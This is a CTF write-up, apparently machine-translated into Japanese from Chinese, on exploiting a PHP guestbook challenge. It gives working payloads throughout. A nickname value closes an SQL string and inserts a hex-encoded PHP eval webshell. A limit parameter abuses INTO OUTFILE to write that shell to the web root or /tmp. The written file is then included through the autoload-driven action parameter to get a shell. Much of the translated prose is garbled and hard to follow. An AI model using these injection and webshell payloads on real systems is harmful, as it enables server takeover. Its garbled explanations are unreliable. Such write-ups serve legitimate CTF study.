ホームページ >バックエンド開発 >PHPチュートリアル >旗ネズミを捕まえる3匹の白猫シリーズ1 追記(一連の落とし穴の詳細な記録)
まず最初に、これは私がこれまで見た中で最も複雑な質問だと言わざるを得ませんが、質問者の考えはあまりにも不器用です。
まず、http://8ed0a7d1a5ed5b5ac.jie.sangebaimao.com/sangebaomao.zip にアクセスしてソース コードを入手します。ヒントによると、二次注入には getshell が必要です。見ていてとても楽しいです。
1. まずはファイルを見てみましょう
このうち、include.php はグローバル化されており、GET、POST、COOKIE はアッドスラッシュでエスケープされているため、基本的には実行できません一部の格納された変数が一重引用符で囲まれていない限り、受信シェルを一度に挿入します。
main.php を見ると 25 行あります
制限の後の $num は $_SESSION['limit'] からのものです。 $_SESSION['limit'] は最終的にユーザー登録から取得されることに戻ります。制限後は outfile を実行できるためです。これは知識ポイントとみなすことができます。したがって、登録された制限を通じて書き込みパスを制御できますが、書き込まれたコンテンツを制御する方法は次のとおりです。それは明らかです。名前とメッセージのフィールドからのみ始めることができます。これら 2 つのフィールドの起源をたどってください。
名前フィールドは、登録時にニックネーム パラメーターによって最初にデータベースに保存され、その後クエリされます。 登録されたコードを遡ってみると、$name は htmlspecialchars() によって具体化されているため、name に < 記号を直接導入することはできないことがわかりました。 $message もインスタンス化されます。ただし、PHP コードを記述するには、< 記号が必要です。
その後、Yulinga Daniel が 0x を使うように私に思い出させてくれました。彼が 0x と言ったらすぐに反応し、メッセージ フィールドがデータベースに入力されると、メッセージ フィールドが一重引用符で囲まれた 16 進数は、最終的にライブラリに入力されるときに元の文字列に復元されます。
この結び目を解くのは、main.php 内の 18 行の SQL ステートメントです。
この inster ステートメントでは、$name は登録時に制御可能です。なので登録するときはこんな感じで名前を登録します aa ’,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#
このうち、16進数とは文を16進数でエンコードしたものです。この場合、insert into guestbook(`uid`,`name`, `message`) value('".$uid."','".$name."','".$message."') を実行します。 ) 実際のデータベースコードは以下の通りです
# その後コメント化されており、0x3c3f70687020406576616c28245f504f53545b615d293b3f3e はフィールドメッセージの値であり、シングルクォーテーションで囲まれていません。したがって、挿入操作を実行した後です。 m メッセージ フィールドの値は である場合、select 操作ステートメントが実行されると、メッセージはデータベースからクエリされ、実体化されないため、ゲットシェル。わかりにくいと思いませんか?
2.
その後の実装プロセスは
通常どおりにユーザー名とパスワードが入力されます。
ニックネーム aa',0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#
制限 10 を outfile 'd:/www/answer.php' に入力
次に、ログインしますメッセージを残してください掲示板に一言。
データベースを監視して、SQL ステートメントが完全に実行されていることを確認しましょう
書き込まれたファイルを見てみましょう。Web サイトのルート ディレクトリに完全に書き込まれています
3.
ここにいても大丈夫だと思いますか? でも、一番楽しいのはまだ始まったばかりです。 3台のホワイトハットサーバーでテストしたところ、何も書き込めませんでした。そこで、質問者にWebディレクトリが書き込み可能ではないか尋ねたところ、書き込み可能ではないとの回答が得られました。
また、コード内の _autoload 関数機能を利用することも忘れないでください。後で機能を調べてみると、これは処理関数の数を指定せずにクラスをインスタンス化すると、クラスファイルと同じ名前のディレクトリに .php を直接インクルードする機能でした。または .inc ファイル。実際、簡単に言うと、この関数にはファイルを含めることができます。
次に、質問のソース コードを調べて、_autoload 関数が呼び出された場所を確認しました。この関数は include.php に記述され、ini.php、int.php、その後にインクルードされています。 main.php に含まれるクラス
のインスタンス化操作があります。クラス名が $action で、$action がそれを制御していることがわかります。 。これを見ると、私の考えが明確になります。書き込み可能なディレクトリに php ファイルを書き込み、そのファイルの完全なディレクトリとファイル名を $action に渡し、その後、php が $action クラスをインスタンス化します。入力したファイルが自動的にインクルードされ、そのファイルを通じて getshell がインクルードされます。 Linux サーバーであるため、/tmp ディレクトリは書き込み可能である必要があります。実際のペイロードが出てきました。
nicknmae:filled in aa',0x3c3f70687020706870696e666f28293b3f3e)# これは phpinfo の 16 進数です。このように書くと、インクルードが含まれているかどうかが明確にわかります。
制限: 出力ファイル '/tmp/answer.php' に 10 個
その後、ログインして好きなようにコメントします。
最後にアクセスした場所 xxx.com/main.php?action=/tmp/answer
コードが正常に実行されました
次に、phpinfo を 1 つの文に置き換えて記述します。ここに落とし穴があります。それは、シェルにアクセスするにはログインする必要があるということです。包丁を使う場合は、セッションを持ち帰る方法を見つけなければなりません。そこで、 を直接記述し、Firefox を使用してパッケージを送信しました。
その後、フラグを立てることに成功しました
追記:質問者様は卑猥すぎるとしか言いようがありませんし、確かに複雑すぎると思います。しかし、シェルの二次インジェクションと機能の使用は、まさに究極です。